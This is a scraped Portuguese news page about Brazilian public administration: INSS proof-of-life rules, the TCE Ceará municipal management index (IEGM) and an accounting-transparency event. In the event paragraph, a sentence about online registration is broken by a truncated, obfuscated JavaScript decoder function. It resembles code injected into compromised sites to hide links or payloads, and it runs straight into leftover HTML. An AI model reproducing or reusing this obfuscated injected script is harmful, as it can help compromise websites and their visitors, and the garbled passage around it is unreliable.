O Instituto Nacional do Seguro Social (INSS) do Ministério da Economia, alterou a Resolução nº 141/PRES/INSS, de 2 de março de 2011 que dispõe sobre as regras prova de vida e a renovação de senha de beneficiários. As novas regras foram publicadas no Diário Oficial da União (DOU) por meio da Resolução Nº 677, de 21 de março de 2019.

A prova de vida e a renovação de senha deverão ser efetuadas pelo recebedor do beneficio, por meio de atendimento eletrônico com uso de biometria ou mediante a identificação por funcionário da instituição financeira pagadora do benefício e poderão ser realizadas pelo representante legal ou pelo procurador do beneficiário legalmente cadastrado no INSS ou na instituição financeira responsável pelo pagamento do benefício.

A instituição financeira deverá transmitir ao INSS os registros relativos à prova de vida e à renovação das senhas, utilizando o Protocolo de Pagamento de Benefícios em Meio Magnético, parte integrante do Contrato de Prestação de Pagamento de Benefícios.

Os beneficiários com idade igual ou superior a 60 anos poderão solicitar a realização de prova de vida no INSS, sem prejuízo da possibilidade de comparecer à instituição financeira pagadora. Para beneficiários com dificuldades de locomoção e idosos acima de 80 anos, que recebam benefícios, poderá ser realizada pesquisa externa, com comparecimento a residência ou local informado no requerimento, para permitir a identificação do titular do benefício e a realização da comprovação de vida, sem prejuízo da possibilidade de comparecer à instituição financeira pagadora.

Nos casos de beneficiários com dificuldades de locomoção, o requerimento para realização de prova de vida por meio de pesquisa externa, deverá ser efetuado por interessado, perante a Agência da Previdência Social, com comprovação da dificuldade de locomoção por atestado médico ou declaração emitida pelo hospital, sem prejuízo da possibilidade de comparecer à instituição financeira pagadora.

Os serviços deverão ser previamente agendados na Central 135, Meu INSS ou outros canais a serem disponibilizados pelo INSS.

O INSS poderá bloquear o pagamento do benefício encaminhado às instituições financeiras até que o beneficiário atenda à convocação, permitida a liberação do pagamento automaticamente pela instituição financeira.

Por Coordenadoria de Comunicação e Marketing da Aprece (Comak).

Iniciadas as ações para a construção do Índice de Efetividade da Gestão Municipal – IEGM 2019, do Tribunal de Contas do Estado do Ceará, ano-base 2018. A primeira fase da atividade, tal como ocorrido nas edições anteriores, é a disponibilização de questionários a serem preenchidos pelos prefeitos municipais. Os documentos foram enviados aos e-mails cadastrados pelos prefeitos no sistema SimWeb, a partir desta quarta-feira (20/3), podendo ser respondidos até 20 de abril.

A Gerência de Avaliação de Políticas Públicas, responsável pela construção do IEGM, informa que os 184 municípios cearenses foram convocados via ofício circular da Presidência com as instruções para o preenchimento e envio das informações.
 

Os questionários abrangem as dimensões analisadas pelo Indicador: educação, saúde, planejamento, gestão fiscal, meio ambiente, cidades protegidas e governança de tecnologia da informação. As dúvidas quanto ao preenchimento podem ser enviadas ao endereço eletrônico iegm@tce.ce.gov.br ou por meio de atendimento telefônico: 85 3218.6590.
 

Saiba mais
 

O IEGM objetiva acompanhar a aderência da gestão municipal a determinados processos e controles para o aprimoramento de políticas públicas. A ação é produto de Acordo de Cooperação entre esta Corte de Contas, o Instituto Rui Barbosa (IRB) e Tribunais de Contas brasileiros. Trata-se da quarta edição anual consecutiva do trabalho. Na última, referente a 2017, a média cearense foi de 0,53.
 

Em fevereiro deste ano, foi aprovado de forma unânime pelo Pleno do TCE, o relatório da auditoria realizada sobre o IEGM 2017/2018. O documento foi encaminhado às Prefeituras e Câmaras Municipais, bem como para a Assembleia Legislativa. A Corte também propôs que sua Escola de Contas, o Instituto Plácido Castelo (IPC), utilize os dados da auditoria como subsídio para o planejamento de futuras ações de capacitação. O processo nº 03607/2018-5 foi relatado pela conselheira Patrícia Saboya.
 

Links e documentos em relação ao IEGM 2018/2019

Profissionais da contabilidade e demais interessados na área estão convidados a participar do encontro “Abraçando o controle social”, que será sediado no Tribunal de Contas do Estado do Ceará, dia 21 de fevereiro, das 8h30 às 12h30 – auditório do Edifício 5 de Outubro (rua Sena Madureira, nº 1047 - Centro).

Numa iniciativa do Conselho Federal de Contabilidade e demais parceiros nacionais, o evento conta com o apoio da Escola de Contas Instituto Plácido Castelo (IPC) e da entidade Regional no Ceará (CRC).

“Transparência, fiscalização e acesso à informação das contas públicas municipais e estaduais” é o tema da palestra a ser proferida pelo presidente do TCE Ceará, conselheiro Edilberto Pontes, na abertura do evento, que terá, entre as autoridades convidadas, o presidente do CFC, Zulmir Ivânio Breda.

A programação prosseguirá com palestra sobre “O papel e a rede das ouvidorias como instrumento de proteção do usuário de serviços públicos”, do ouvidor adjunto Geral da União (OGU/CGU), Fábio do Valle Valgas da Silva, e o painel “Contabilizando atitudes, multiplicando boas práticas”, com representantes da Controladoria e Ouvidoria-Geral do Estado do Ceará e do Observatório Social de Fortaleza.

A companhia de ritmos e danças populares, Cordapes, abrilhantará o encontro com apresentação cultural. O grupo, fundado em 2007 e sediado no Conjunto Palmeiras, tem o objetivo de estimular crianças e jovens carentes do bairro a pesquisarem e divulgarem a cultura regional.

As inscrições são gratuitas e podem ser realizadas de forma function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando-o-controle-social-cfc-cgu-fbc-conaci-atricon-e-abracicon-fortaleza-ce-21-02-2019/" target="_blank" rel="noopener">online. Acesse aqui a programação.

Gestores dos 184 municípios cearenses receberão o resultado da auditoria realizada pelo Tribunal de Contas do Estado do Ceará, por meio da Gerência de Avaliação de Políticas Públicas, sobre o Índice de Efetividade da Gestão Municipal (IEGM 2017/2018). Os dados servirão para orientar as prefeituras e suas unidades a fim de aprimorar a gestão dos recursos públicos e garantir a efetiva execução das políticas públicas.

Com esse trabalho, o TCE Ceará objetiva contribuir para o aprimoramento da gestão, reavaliação de prioridades e consolidação do planejamento das administrações públicas municipais. O IEGM também favorece a transparência e fortalece o controle social, ao evidenciar a correspondência entre as ações dos governos municipais e as necessidades da população.

O documento, aprovado de forma unânime durante sessão plenária da terça-feira (5/2), também será encaminhado ao conhecimento das Câmaras Municipais bem como da Assembleia Legislativa. A Corte também propôs que sua escola de Contas, o Instituto Plácido Castelo (IPC), utilize os dados da auditoria como subsídio para o planejamento de suas futuras ações de capacitação. O processo nº 03607/2018-5 foi relatado pela conselheira Patrícia Saboya.

Saiba mais

Essa é a primeira vez que todos os 184 municípios cearenses são mensurados, a partir do preenchimento de sete questionários, entre abril e maio/2018. Ao final do prazo, foram recebidos questionários completos de 159 municípios. Nos 25 municípios remanescentes os dados foram coletados in loco pelo Tribunal de Contas.

O Indicador mensura o grau de aderência da gestão municipal a determinados processos e controles em sete áreas: educação, saúde, gestão fiscal, planejamento, meio ambiente, defesa civil e governança em tecnologia da informação.

Em uma variação de zero a um, a média do Índice de Efetividade da Gestão Municipal dos 184 municípios cearenses foi de 0,53 em 2017/2018. Essa média enquadra-se na faixa C+, ou seja, “em fase de adequação”.

O levantamento evidenciou que, individualmente, nenhum município possui gestão pública considerada altamente efetiva (A); um, muito efetiva (B+); 20, efetiva (B); 99, em fase de adequação (C+); e 64, baixo nível de adequação (C). De acordo com a nota, os classifica como “A” para “altamente efetivo”, “B+” para “muito efetivo”, “B” para “efetivo, “C+” para “em fase de adequação” e “C” para “baixo nível de adequação”.

Acesse a íntegra do Relatório de Auditoria.

Veja a situação dos Municípios cearenses nas sete áreas.

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